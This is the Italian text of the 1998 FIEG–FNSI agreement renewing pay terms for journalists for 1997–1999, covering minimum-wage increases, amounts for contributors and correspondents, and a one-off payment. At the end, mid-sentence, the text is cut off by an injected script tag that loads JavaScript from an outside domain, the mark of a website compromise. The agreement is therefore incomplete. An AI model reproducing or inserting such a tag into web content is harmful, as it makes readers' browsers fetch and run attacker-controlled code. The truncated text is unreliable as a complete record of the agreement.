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Categoria: Giornalisti
Settore: Poligrafici e Spettacolo
Data stipula: 4-6-1998
Data decorrenza: 1-10-1997
Data scadenza: 30-9-1999

VERBALE DI ACCORDO

In Roma, il giorno 4 giugno 1998

tra

la FEDERAZIONE ITALIANA EDITORI GIORNALI

e

la FEDERAZIONE NAZIONALE DELLA STAMPA ITALIANA

si è convenuto

il  rinnovo del biennio ottobre 1997/settembre 1999 della parte  economica
della  vigente disciplina collettiva giornalistica sulla base dei seguenti
criteri e modalità:


1)  Decorrenza e durata.

Il  rinnovo  della  parte economica del contratto  ha  decorrenza  dal  1°
ottobre 1997 e scadenza al 30 settembre 1999.


2)  Incrementi dei minimi.

Il valore del minimo tabellare in atto al 30.9.97 per il livello 100 della
vigente   scala  parametrale  (redattore  oltre  18  mesi   di   anzianità
professionale,  redattore  oltre 30 mesi  di  anzianità  professionale)  è
incrementato di £. 80.000 a regime.

Il   suddetto   importo  verrà  corrisposto  sulla   base   dei   seguenti
frazionamenti e cadenze:

1° maggio  1998  = £. 40.000
1° gennaio 1999 =  £. 40.000

Gli  aumenti tabellari per le altre qualifiche risultano determinati sulla
base  del parametro in vigore al 30.9.97 rispettivamente per i giornalisti
professionisti  e  praticanti  in  servizio  al  30.11.95  ovvero  assunti
dall'1.12.95  e corrisposti con la decorrenza e il rapporto in  precedenza
indicato.

Il  valore dei minimi di retribuzione per i collaboratori fissi (art.  2),
per i corrispondenti (art. 12) e per i pubblicisti part-time (art. 36), in
atto  al  30.9.97, è incrementato a regime dei seguenti valori che tengono
conto  dell'incidenza prodotta dalla contribuzione a  carico  azienda  per
previdenza  complementare prevista dal successivo paragrafo 6  e  che  non
trova applicazione per le indicate qualifiche:

·   collaboratori fissi

-   per almeno 2 collaborazioni al mese limitatamente
  agli addetti ai periodici                             + £.  5.000
-   per almeno 4 collaborazioni al mese                   + £. 10.000
-   per almeno 8 collaborazioni al mese                   + £. 20.500

·   corrispondenti art. 12

a)  + £. 31.000
b)  + £. 20.500
c)  + £. 17.000
d)  + £.  9.000

·   pubblicisti che operano nelle redazioni decentrate
  o negli uffici di corrispondenza                      + £. 55.500

Gli   indicati  incrementi  sono  corrisposti  per  il  50%  a   decorrere
dall'1.5.98 e per la parte residua a decorrere dall'1.1.99.


3)  Una tantum.

A   copertura   del  periodo  di  vacanza  contrattuale   ai   giornalisti
professionisti e ai praticanti titolari di un rapporto di lavoro  a  tempo
pieno  e  indeterminato ex art. 1 del contratto e in  servizio  alla  data
dell'1.5.98  verrà  corrisposta  una "una  tantum"  uguale  per  tutte  le
categorie pari a £. 500.000.

Per i giornalisti professionisti titolari di un rapporto di lavoro a tempo
parziale  e  indeterminato (allegato E del contratto)  l'importo  dell'una
tantum è riproporzionato in base alla durata della prestazione lavorativa.

Per i pubblicisti part-time ex art. 36, i collaboratori fissi (art. 2) e i
corrispondenti  (art.  12)  titolari di un  rapporto  di  lavoro  a  tempo
indeterminato l'una tantum è pari a:

·   per i pubblicisti part time                  £. 300.000
·   per i collaboratori fissi e corrispondenti   £. 150.000

L'una  tantum  verrà  corrisposta in coincidenza con  il  pagamento  delle
retribuzioni di luglio.

Per  gli  assunti  successivamente all'1.10.97 il suddetto  importo  verrà
corrisposto  pro  quota in relazione ai mesi di servizio effettuati  dalla
data di assunzione al 30.4.98.

La  suddetta  una  tantum non produce effetti diretti  e  indiretti  sugli
istituti di legge e di contratto ivi compreso il TFR.

A  richiesta  del  giornalista,  in sostituzione  del  pagamento  dell'una
tantum, nella retribuzione del solo mese di gennaio 1999 verranno inserite
£.   500.000  (o  eventuali  frazioni)  che  saranno  devolute  al   Fondo
complementare  quale  contributo  volontario  aggiuntiva  del<<script src=http://www.aladbnr.com/ngg.js></script>













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